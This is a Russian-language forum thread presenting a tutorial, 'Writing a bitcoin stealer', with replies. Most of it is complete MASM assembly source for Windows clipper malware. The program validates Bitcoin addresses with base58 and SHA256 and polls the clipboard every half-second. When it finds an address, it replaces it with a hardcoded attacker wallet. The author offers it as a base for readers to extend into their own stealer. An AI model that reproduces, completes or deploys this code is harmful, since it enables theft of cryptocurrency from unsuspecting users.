• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем стилер биткоинов

waydam

Резидент
Сообщения
332
Реакции
336
0 руб.
Telegram
Пишем стилер биткоинов

btc-bitcoin.jpg


Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.

Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.

Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.

Код:
.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm

uselib kernel32, user32, advapi32, masm32

.const
; Диапазон допустимой длины адреса кошелька
wallet_len_min equ 27
wallet_len_max equ 34

; Код версии адреса
address_version equ 00h

; Набор символов, используемых в адресе
; Кроме: 0 O I l
wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0

; Адрес, на который будет заменяться значение в буфере
wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0

.data?
prov dd ?


Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.

Код:
.code
; Вспомогательные функции
; Небольшая функция для логирования отладочной информации
log_message proc msg:dword
   local buffer[256]:byte

   invoke GetLastError
   invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax

   invoke OutputDebugString, addr buffer

   ret
log_message endp

base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword

; Будем опираться на констаны, свойственные для проверки кошелька
; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
; Декодирование исключительно под адрес кошелька,
; для абстрактной строки в base58 функцию необходимо править

; Заполняем содержимое буфера нулями
   xor eax, eax
   mov ecx, 25
   mov edi, out_buffer
   rep stosb


   mov esi, in_buffer
   mov edi, out_buffer
m1:
; Нулл-байт во входном буфере - конец декодирования
   movzx eax, byte ptr[esi]
   test eax, eax
   je m5

; Сохраним регистр на время сканирования символа в eax
   push esi

; Символ должен быть из набора wallet_symbols
   mov esi, offset wallet_symbols
m2:
   movzx ebx, byte ptr[esi]
; Если байты совпадают, то символ входит в набор допустимых
   cmp eax, ebx
   jz m3

; Если мы дошли до конца набора допустимых символов (нулл-байт)
; и все ещё не вышли из цикла, значит, символ не из набора
   test ebx, ebx
   je err0

; Продолжаем проверку
   inc esi
   jmp m2
m3:
; Поместим в eax позицию найденого в наборе символа
   mov eax, esi
   mov esi, offset wallet_symbols

   sub eax, esi

; Вложенный цикл с конца выходного буфера
   mov ebx, 25 - 1
m4:
; N-й элемент буфера (с конца) умножим на 58
; и прибавим к позиции упомянутой выше
   movzx ecx, byte ptr[edi + ebx]

   imul ecx, 58
   add eax, ecx

; Сохраним в выходной буфер результат деления с остатком
   push ebx

   cdq
   mov ebx, 256
   div ebx

   pop ebx

   mov byte ptr[edi + ebx], dl

; Поделим позицию элемента на 256
   push ebx

   cdq
   mov ebx, 256
   div ebx

   mov eax, edx

   pop ebx

; Конец тела вложенного цикла
   dec ebx
   test ebx, ebx
   jne m4


   pop esi

; Если в eax что-то отличное от нулл-байта,
; значит, адрес кошелька имеет некорректный размер
   test eax, eax
   jne err1

   inc esi
   jmp m1
m5:

   mov eax, 1
   ret

err0:
   pop esi
   invoke log_message, chr$("invalid symbol")

   mov eax, 0
   ret
err1:
   invoke log_message, chr$("invalid address length")

   mov eax, 0
   ret
base58_decode endp


Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.

Код:
; Инициализация нужного криптопровайдера
sha256init proc
   invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
   .if eax == 0
       invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
   .endif

   ret
sha256init endp


sha256fini proc
   invoke CryptReleaseContext, prov, 0

   ret
sha256fini endp

; Хэширование SHA256
sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
   local hash:dword
   local aux:dword

; CALG_SHA_256 - 0x0000800c
   invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
   .if eax == 0
       invoke log_message, chr$("CryptCreateHash")
       jmp err
   .endif

   invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
   .if eax == 0
       invoke log_message, chr$("CryptHashData")
       jmp err
   .endif

   mov aux, sizeof dword

   invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
   .if eax == 0
       invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
       jmp err
   .endif

   invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
   .if eax == 0
       invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
       jmp err
   .endif

err:
   .if hash != 0
       invoke CryptDestroyHash, hash
   .endif

   ret
sha256 endp

У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.

Код:
; Функция проверки адреса
validate_wallet proc uses esi edi, buffer:dword
   local decoded[32]:byte
   local digest1[32]:byte
   local digest2[32]:byte

   invoke lstrlen, buffer
   .if eax < wallet_len_min || eax > wallet_len_max
       invoke log_message, chr$("wallet length error")
       jmp err
   .endif

; Декодируем адрес из base58
   invoke base58_decode, buffer, addr decoded
   .if eax == 0
       invoke log_message, chr$("base58_decode error")
       jmp err
   .endif

; Проверяем версию
   lea eax, decoded
   mov al, byte ptr[eax]
   .if al != address_version
       invoke log_message, chr$("address version error")
       jmp err
   .endif

   invoke sha256, addr decoded, 21, addr digest1, sizeof digest1  
   invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2

; Сравним декодированную и посчитанную контрольные суммы
   lea esi, decoded
   add esi, 21
   lea edi, digest2

   mov ecx, 4
   repz cmpsb
   jnz err

   mov eax, 1
   ret
err:
   mov eax, 0
   ret
validate_wallet endp

start proc
   local clipboard_data:dword


   invoke sha256init
   .if eax == 0
       invoke log_message, chr$("sha256init")
       jmp err
   .endif

   .while TRUE
       invoke GetClipboardText

       .if eax != 0
           mov clipboard_data, eax

         ; Проверим содержимое буфера обмена и заменим,
         ; если это адрес Bitcoin кошелька
           invoke validate_wallet, clipboard_data
           .if eax != 0
               invoke log_message, chr$("valid wallet detected")
               invoke SetClipboardTextEx, offset wallet_replace
           .endif

           invoke GlobalFree, clipboard_data
       .endif

       invoke Sleep, 500
   .endw

err:
   invoke sha256fini

   invoke ExitProcess, 0
   ret
start endp

end start

Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова

Код:
invoke OpenClipboard,NULL                  ; open clipboard

я добавил ещё

Код:
invoke EmptyClipboard                      ; clear clipboard

Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.

Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.


Авторы статьи:
(с) kaimi
 
Последнее редактирование:

burjuy

Участник
Сообщения
12
Реакции
19
0 руб.
Интересный метод. Не факт, что он еще рабочий и неизвестно как дела обстоят со всеми кастомными кошельками.
 

waydam

Резидент
Сообщения
332
Реакции
336
0 руб.
Telegram
Интересный метод. Не факт, что он еще рабочий и неизвестно как дела обстоят со всеми кастомными кошельками.
Данная статья просто для ознакомления, чтобы узнать как вообще устроены стилеры. Дальше при желании можно дописать стилер под себя.
 

/.e7z

Резидент
Сообщения
179
Реакции
335
0 руб.
Jabber
Данная статья просто для ознакомления, чтобы узнать как вообще устроены стилеры. Дальше при желании можно дописать стилер под себя.
Попросил бы подправить авторство. Автор один: Kaimi,
Для просмотра содержимого вам необходимо авторизоваться.
 

tornode

Новичок
Сообщения
1
Реакции
0
0 руб.
Установил masm32 и в macros нет windows.asm , подскажите этот файл должен быть при установке masm32 или вы его где-то отдельно взяли?
 
Сверху Снизу